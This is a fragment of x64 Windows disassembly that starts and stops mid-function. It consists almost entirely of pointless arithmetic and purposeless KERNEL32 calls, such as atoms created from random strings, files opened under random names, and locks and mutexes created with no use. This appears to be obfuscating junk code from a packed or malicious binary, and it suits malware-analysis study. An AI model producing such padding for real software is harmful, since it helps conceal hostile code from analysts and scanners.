mov dword [rsp + 0x20], 0xe0b
mov r9d, 0x2236
mov r8d, 0x31c0
mov edx, 0x355
mov rcx, qword [rsp + 0x9828]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4a4c], eax
movsx eax, word [rsp + 0xb4c]
mov rcx, qword [rsp + 0xb3e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf84], ax
lea rax, [rsp + 0x107]
mov qword [rsp + 0xb860], rax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x222c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4bdc], eax
mov rax, qword [rsp + 0xa7d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x290]
sub eax, ecx
mov byte [rsp + 0x170], al
mov rax, qword [rsp + 0xace0]
mov eax, dword [rax]
mov dword [rsp + 0x4f3c], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb868], rax
movzx ecx, word [rsp + 0x11b4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10e0], ax
mov rax, qword [0x14024f178]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb508]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14024f0c0]
mov word [rcx], ax
movzx ecx, word [rsp + 0x12e4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfc0], ax
mov rax, qword [rsp + 0xaf20]
mov rcx, qword [rsp + 0xae78]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9d08]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb318]
mov rcx, qword [rsp + 0xa108]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x79f8], rax
lea rcx, str.luOE
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1534], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa690], rax
mov rax, qword [rsp + 0xaec0]
movzx ecx, al
mov rax, qword [rsp + 0xa280]
shl rax, cl
mov qword [rsp + 0x7ce0], rax
lea rcx, [rsp + 0x1a438]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [rsp + 0x1298]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfdc], ax
mov eax, dword [0x14024f2d8]
mov ecx, dword [rsp + 0x4c80]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4594], eax
lea rcx, str.Wm2A
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1538], ax
mov rax, qword [rsp + 0x97b8]
mov qword [rsp + 0xb870], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb1a0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov eax, dword [rsp + 0x4554]
mov ecx, dword [rsp + 0x49f0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa248]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.ay_aLj3G3wQ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb878], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
movsx eax, word [rsp + 0x11e0]
mov rcx, qword [rsp + 0xa990]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x850], ax
mov edx, 0x2450
mov rcx, qword [rsp + 0x96b8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x46f8], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xb880], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov rax, qword [rsp + 0xb2b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9658]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x93d8]
mov byte [rcx], al
lea rax, [rsp + 0x2a5]
mov qword [0x14024f098], rax
movzx eax, word [rsp + 0x12c4]
movzx ecx, word [0x14024f0c8]
add eax, ecx
mov rcx, qword [rsp + 0xabb0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb560]
movzx eax, word [rax]
mov word [rsp + 0x153c], ax
mov eax, dword [rsp + 0x4d64]
mov ecx, dword [rsp + 0x44c0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d04], eax
movzx eax, byte [rsp + 0xee]
mov byte [rsp + 0x2db], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.8X_vPsR
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb888], rax
movsx eax, word [rsp + 0x1084]
mov rcx, qword [rsp + 0xb688]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf74], ax
movsx eax, byte [rsp + 0x25a]
mov rcx, qword [rsp + 0xa450]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1cf], al
lea rcx, [rsp + 0x9790]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx ecx, word [rsp + 0xf14]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x14ec], ax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x1fec0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4f40], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8d48], rax
lea rax, [0x14022fb5c]
mov qword [rsp + 0xb890], rax
mov rax, qword [rsp + 0xb7e0]
mov rcx, qword [rsp + 0xa728]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x87a0], rax
mov rax, qword [rsp + 0xaf10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb180]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14024f0fc], al
movzx ecx, word [rsp + 0xf30]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10a0], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb898], rax
mov edx, 0x20c6
mov rcx, qword [rsp + 0xa180]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4d8c], eax
lea rax, [0x14024f1a4]
mov qword [rsp + 0xb8a0], rax
mov rax, qword [rsp + 0xb0f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa6a0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb670]
mov word [rcx], ax
movzx ecx, word [rsp + 0x141c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1540], ax
mov edx, 0x1f90
mov rcx, qword [rsp + 0xafc8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4a48], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb868], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.P5UlDhRfiP
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb8a8], rax
mov rax, qword [rsp + 0xa3b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xad20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9a08], rax
mov rax, qword [rsp + 0xa158]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x93b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8210], rax
lea rcx, [rsp + 0x9b20]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rcx, [rsp + 0x1aa68]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, [rsp + 0x9b10]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov r9d, 2
lea r8, [rsp + 0xae70]
mov rdx, qword [rsp + 0xa4c0]
mov rcx, qword [rsp + 0x9fb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4f44], eax
lea rdx, [rsp + 0xac58]
mov rcx, qword [rsp + 0xa398]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4e34], eax
mov rax, qword [rsp + 0xa448]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1cf]
add eax, ecx
mov byte [rsp + 0x1b4], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb8b0], rax
mov rax, qword [rsp + 0xb438]
movzx eax, word [rax]
mov word [rsp + 0x1544], ax
mov eax, dword [rsp + 0x4744]
mov ecx, dword [rsp + 0x4d74]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e54], eax
mov rax, qword [rsp + 0xb308]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa578]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8f20]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rax, qword [rsp + 0xa5f8]
mov rcx, qword [rsp + 0x98a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [0x14022fbc0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x1efd
mov r9d, 0x4a
mov r8d, 0x76c2d31e
mov edx, 1
mov rcx, qword [rsp + 0xb4f8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4f48], eax
movzx eax, byte [rsp + 0x2d7]
mov rcx, qword [rsp + 0xa310]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x56], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
movzx ecx, word [rsp + 0x12d8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1268], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rdx, [rsp + 0xa258]
mov rcx, qword [rsp + 0xb6d0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4ba0], eax
mov rax, qword [rsp + 0xaf88]
mov rcx, qword [rsp + 0x9df0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa6d8]
mov qword [rcx], rax
lea rcx, [rsp + 0x1aac8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x88e8]
mov qword [rsp + 0xb8b8], rax
lea rcx, str.QsNp7jWh
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1548], ax
mov rax, qword [rsp + 0xa2e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x864]
imul eax, ecx
mov word [rsp + 0xacc], ax
lea rax, [rsp + 0x29e]
mov qword [rsp + 0xb8c0], rax
lea rcx, [rsp + 0x1a528]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r9d, 0x993
xor r8d, r8d
lea rdx, [rsp + 0xb650]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4dc4], eax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x1fda0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4f4c], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9850], rax
xor r9d, r9d
lea r8, [rsp + 0xa710]
mov rdx, qword [rsp + 0xb8c8]
mov rcx, qword [rsp + 0xb3d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4cd4], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
movzx ecx, word [rsp + 0x1220]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1270], ax
xor r8d, r8d
mov edx, 2
lea rcx, [rsp + 0x222c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4f50], eax
mov rax, qword [rsp + 0xb7b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8d0]
add eax, ecx
mov rcx, qword [rsp + 0xb7f8]
mov word [rcx], ax
lea rcx, [rsp + 0x1a678]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x93e0]
mov ecx, dword [rsp + 0x44ec]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4200], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9918], rax
mov dword [rsp + 0x20], 0x1348
mov r9d, 0x1b4e
mov r8d, 0x1bb
mov edx, 0x432
mov rcx, qword [rsp + 0xb6d0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4e78], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb8d0], rax
mov rax, qword [rsp + 0xa468]
movzx eax, byte [rax]
mov byte [rsp + 0x2dc], al
lea rdx, [rsp + 0xa3c8]
mov rcx, qword [rsp + 0xb2f8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4a00], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
lea rax, [rsp + 0x4880]
mov qword [0x14024f090], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb8d8], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb418], rax
movzx ecx, word [rsp + 0x1298]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x14cc], ax
mov rax, qword [rsp + 0xb7e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8120]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7e78], rax
lea rax, [rsp + 0xac80]
mov qword [rsp + 0xb8e0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb8e8], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x97f8], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov rax, qword [rsp + 0x9cf8]
mov ecx, dword [0x14024f260]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9c58]
mov dword [rcx], eax
lea rdx, [rsp + 0xb8f0]
mov rcx, qword [rsp + 0xa278]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x49f8], eax
movzx ecx, word [rsp + 0x1524]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1448], ax
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x1fda0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4d1c], eax
lea rcx, [rsp + 0xb8f8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
movzx ecx, word [rsp + 0xf20]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x13dc], ax
movzx eax, byte [rsp + 0x86]
mov rcx, qword [rsp + 0xa270]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa2], al
lea rax, [rsp + 0x44ec]
mov qword [rsp + 0xb900], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xac68], rax
mov rax, qword [rsp + 0xb200]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9d10]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc50], ax
mov dword [rsp + 0x20], 0x20cf
mov r9d, 0x54a
mov r8d, 0x3811
mov edx, 0xc01
mov rcx, qword [rsp + 0x9cd8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4f54], eax
movzx ecx, word [rsp + 0x101c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x121c], ax
lea rdx, [rsp + 0xb908]
mov rcx, qword [rsp + 0xb820]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4ec4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
movzx ecx, word [rsp + 0x117c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf18], ax
mov rax, qword [rsp + 0xb860]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb248]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x237], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb910], rax
movzx ecx, word [rsp + 0x13b8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf50], ax
lea rcx, [rsp + 0x1a8e8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [rsp + 0x11f4]
mov rcx, qword [rsp + 0xa428]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe98], ax
lea rcx, [rsp + 0xb770]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x1a8e8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r9d, r9d
lea r8, [rsp + 0xb7e8]
mov rdx, qword [rsp + 0xb408]
mov rcx, qword [rsp + 0xb580]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4b50], eax
lea rax, [rsp + 0x11c4]
mov qword [0x14024f088], rax
mov eax, dword [rsp + 0x4dd0]
movzx ecx, al
mov eax, dword [rsp + 0x49a4]
shl eax, cl
mov dword [rsp + 0x4550], eax
movzx eax, byte [rsp + 0x2c1]
mov byte [rsp + 0x2dd], al
mov rax, qword [rsp + 0xae78]
mov rax, qword [rax]
cqo
idiv qword [rsp + 0x96a0]
mov qword [rsp + 0xaaf8], rax
mov rax, qword [rsp + 0xa438]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c50]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8890], rax
movsx eax, byte [rsp + 0xd8]
mov rcx, qword [rsp + 0xb1e8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x16a], al
lea rax, [rsp + 0x1384]
mov qword [rsp + 0xb918], rax
mov rax, qword [rsp + 0xb2b0]
mov ecx, dword [rsp + 0x4a30]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4878], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.V3w0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb920], rax
lea rcx, [rsp + 0x1ac18]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r9d, 1
lea r8, [rsp + 0x9908]
mov rdx, qword [rsp + 0xa710]
mov rcx, qword [rsp + 0xa2a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4cb4], eax
mov rax, qword [0x14024f358]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x29d]
imul eax, ecx
mov byte [rsp + 0x26f], al
lea rcx, str.6RX1ESk_X9HFO_Mg1X1v_D3mJQMq
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x154c], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9ff8], rax
mov eax, dword [rsp + 0x474c]
mov ecx, dword [rsp + 0x4210]
and ecx, eax
mov eax, ecx
mov dword [0x14024f2d8], eax
movzx ecx, word [rsp + 0x13c4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1500], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb928], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
mov rax, qword [rsp + 0x95f8]
mov rax, qword [rax]
mov qword [rsp + 0xb930], rax
movzx ecx, word [rsp + 0x14b4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf7c], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.xzUruOihmg9_nqIRX5IAmpNd3YMFsKc
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb938], rax
mov rax, qword [0x14024f210]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xab40]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1288], ax
mov r9d, 0x2626
xor r8d, r8d
lea rdx, [rsp + 0x9710]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4e74], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
lea rcx, [rsp + 0x9b08]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb940], rax
mov rax, qword [rsp + 0x9ab0]
mov rcx, qword [rsp + 0x8890]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7b80], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rax, qword [rsp + 0xa618]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa628]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10cc], ax
mov rax, qword [rsp + 0xb5c0]
mov ecx, dword [rsp + 0x48a0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4b9c], eax
mov rcx, qword [rsp + 0xa8c0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4f58], eax
lea rax, [rsp + 0xe3c]
mov qword [rsp + 0xb948], rax
lea rcx, [rsp + 0xab28]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rdx, [rsp + 0xb950]
mov rcx, qword [rsp + 0xa130]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4e24], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r9d, 1
lea r8, [rsp + 0x8ee0]
mov rdx, qword [rsp + 0xb958]
mov rcx, qword [rsp + 0x9cb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4cec], eax
movsx eax, byte [rsp + 0x288]
mov rcx, qword [rsp + 0xa8c8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2b0], al
mov dword [rsp + 0x20], 0x1c57
mov r9d, 0x1852
mov r8d, 0x1e4e
mov edx, 0x14ad
mov rcx, qword [rsp + 0xb3d0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4c00], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa948], rax
movzx ecx, word [rsp + 0x1008]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1550], ax
mov rcx, qword [rsp + 0xaf80]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx ecx, word [rsp + 0x1284]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x132c], ax
lea rax, [rsp + 0x4904]
mov qword [rsp + 0xb960], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x21d20]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4c78], eax
mov edx, 0x1b66
mov rcx, qword [rsp + 0xa950]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4f5c], eax
lea rdx, [rsp + 0xab80]
mov rcx, qword [rsp + 0xa1d8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4c4c], eax
lea rax, [rsp + 0x56]
mov qword [0x14024f080], rax
mov rax, qword [rsp + 0x9d78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x82e8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xad48], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb328], rax
lea rcx, str.REix9NMQDUtBRz9
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1554], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9f80], rax
mov rax, qword [rsp + 0x9520]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x96c0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa518]
mov word [rcx], ax
movzx ecx, word [rsp + 0x1054]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfe4], ax
mov r9d, 1
lea r8, [rsp + 0xa358]
mov rdx, qword [rsp + 0x9a78]
mov rcx, qword [rsp + 0xa2a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4f60], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa800], rax
lea rax, [rsp + 0x4828]
mov qword [rsp + 0xb968], rax
lea rcx, [rsp + 0x1a918]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov qword [rsp + 0x20], 0
mov r9d, 0x20df
mov r8d, 0x185c
mov edx, 0x48
mov rcx, qword [rsp + 0x9770]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4f64], eax
mov rax, qword [rsp + 0xaff8]
movzx eax, byte [rax]
mov rcx, qword [0x14024f160]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa028]
mov byte [rcx], al
movzx eax, byte [rsp + 0x29b]
mov byte [rsp + 0x2de], al
mov rax, qword [rsp + 0xb3a8]
mov rcx, qword [rsp + 0x9f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4cd0], eax
mov edx, 0x215b
mov rcx, qword [rsp + 0x9818]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4a94], eax
lea rcx, [rsp + 0x1a9a8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x9d10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xaf8]
xor eax, ecx
mov rcx, qword [rsp + 0xb0a0]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
